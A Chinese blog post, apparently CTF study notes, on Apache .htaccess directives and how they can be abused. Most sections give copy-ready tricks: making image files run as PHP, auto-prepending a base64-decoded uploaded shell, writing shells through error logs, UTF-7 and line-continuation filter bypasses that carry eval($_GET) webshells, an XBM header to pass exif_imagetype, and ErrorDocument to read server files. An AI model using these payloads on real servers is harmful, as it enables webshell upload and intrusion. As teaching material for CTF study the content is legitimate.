htaccess文件详解

前言

感觉以前学的确实是不够精,原来htaccess文件不止是可以将其他文件以php的方式解析

简介

htaccess提供了针对目录改变配置的方法

可实现功能

文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能

指令作用范围

.htaccess文件中的配置指令作用于.htaccess文件所在的目录及其所有子目录,但是很重要的、需要注意的是,其上级目录也可能会有.htaccess文件,而指令是按查找顺序依次生效的,所以一个特定目录下的.htaccess文件中的指令可能会覆盖其上级目录中的.htaccess文件中的指令,即子目录中的指令会覆盖父目录或者主配置文件中的指令。

一些代码整合

让某些文件以php的方式解析

AddType application/x-httpd-php .png
将png解析为php
<FilesMatch "1"> 
SetHandler application/x-httpd-php
</FilesMatch>
包含1的文件均解析为php

在所有页面包含(require)某个文件

auto_prepend_file与auto_append_file使用方法

php.ini中有两项

auto_prepend_file 在页面顶部加载文件

auto_append_file 在页面底部加载文件

使用这种方法可以不需要改动任何页面,当需要修改顶部或底部require文件时,只需要修改auto_prepend_file与auto_append_file的值即可。

思路拓展:

我们看一下这个原理,他是文件包含的思想在某个页面加载文件,当我们想到文件包含的时候自然而然地就会想到php伪协议,这就是这个功能的厉害所在
如果有一道题目,他过滤了php的所有标签,但是允许你上传htaccess,这个时候的思路就是,将含有马的文件base64加密上传,然后再htaccess添加配置:php伪协议解码打开
当然显示的页面本身的代码也要是php语言

代码

php_value auto_prepend_file xxx.php
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.wuwu"

使作用范围内的php文件在文件头/尾自动include指定文件,支持php伪协议

php_value include_path "xxx"

如果当前目录无法写文件,也可以改变包含文件的路径,去包含别的路径的文件

用途:文件包含,可以配合AddType

利用报错信息写文件

php_value error_reporting 32767
php_value error_log /tmp/fl3g.php

开启报错的同时将报错信息写入文件

用途:利用报错写shell

UTF-7编码绕过尖括号<过滤

php_value zend.multibyte 1 # 启用多字节编码的源文件解析
php_value zend.script_encoding "UTF-7"

将代码的解析方式改成UTF-7

mb_convert_encoding('<?php eval($_GET[\'cmd\']); ?>',"utf-7");

payload样例:

+ADw?php phpinfo()+ADs +AF8AXw-halt+AF8-compiler()+ADs

prce绕过正则匹配

php_value pcre.backtrack_limit 0
php_value pcre.jit 0

if(preg_match("/[^a-z\.]/", $filename) == 1) 而不是if(preg_match("/[^a-z\.]/", $filename) !== 0),因此可以通过php_value 设置正则回朔次数来使正则匹配的结果返回为false而不是0或1,默认的回朔次数比较大,可以设成0,那么当超过此次数以后将返回false

tricks

.htaccess似乎可以像shell那样使用\将两行内容解释为一行

  • 绕过脏字符
    如果.htaccess文件中有不符合语法的内容,访问服务器会直接报500,如果题目中乱写.htaccess文件,我们可以尝试换行注释掉脏字符
    例如:题目中有file_put_contents($filename, $content . "\nJust one chance"),我们payload最后可以加上#\#负责注释,\将注释符和脏字符连成一行,注释掉脏字符,最后的文件为
php_value include_path "/tmp"
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
# \
Just one chance
  • 绕过WAF
    如果题目过滤了’file’,可以这么写.htaccess
php_value auto_prepend_fi\
le ".htaccess"
#<?php eval($_GET[a]);?>\ .php.

(2)绕过exif_imagetype()上传.htaccess

#define width 20
#define height 10

采用xbm格式X Bit Map,绕过exif_imagetype()方法的检测,上传文件来解析。
在计算机图形学中,X Window系统使用X BitMap,一种纯文本二进制图像格式,用于存储X GUI中使用的光标和图标位图。
XBM数据由一系列包含单色像素数据的静态无符号字符数组组成,当格式被普遍使用时,XBM通常出现在标题.h文件中,每个图像在标题中存储一个数组。
也就是用c代码来标识一个xbm文件,前两个#defines指定位图的高度和宽度【以像素为单位,比如以下xbm文件:
#define test_width 16
#define test_height 7

参考:https://www.cnblogs.com/20175211lyz/p/11741348.html

ErrorDocument

利用这个文档可以读文件

https://www.docs4dev.com/docs/zh/apache/2.4/reference/mod-core.html#errordocument

ErrorDocument 500 http://example.com/cgi-bin/server-error.cgi
ErrorDocument 404 /errors/bad_urls.php
ErrorDocument 401 /subscription_info.html
ErrorDocument 403 "Sorry, can't allow you access today"
ErrorDocument 403 Forbidden!
ErrorDocument 403 /errors/forbidden.py?referrer=%{escape:%{HTTP_REFERER}}

意思是,当出现以上错误时,就会返回后面的内容,那就意味着可以直接读了

ErrorDocument 404 %{file:/etc/apache2/apache2.conf}

https://www.cnblogs.com/ningmeng666/p/7644002.html

ErrorLog

ErrorLog 也能执行命令 customlog globallog forensiclog transferlog 都具有 pipe 形式

参考格式:https://www.docs4dev.com/docs/zh/apache/2.4/reference/logs.html#piped

https://github.com/wireghoul/htshells

Author

vague huang

Posted on

2021-06-11

Updated on

2022-08-04

Licensed under

Comments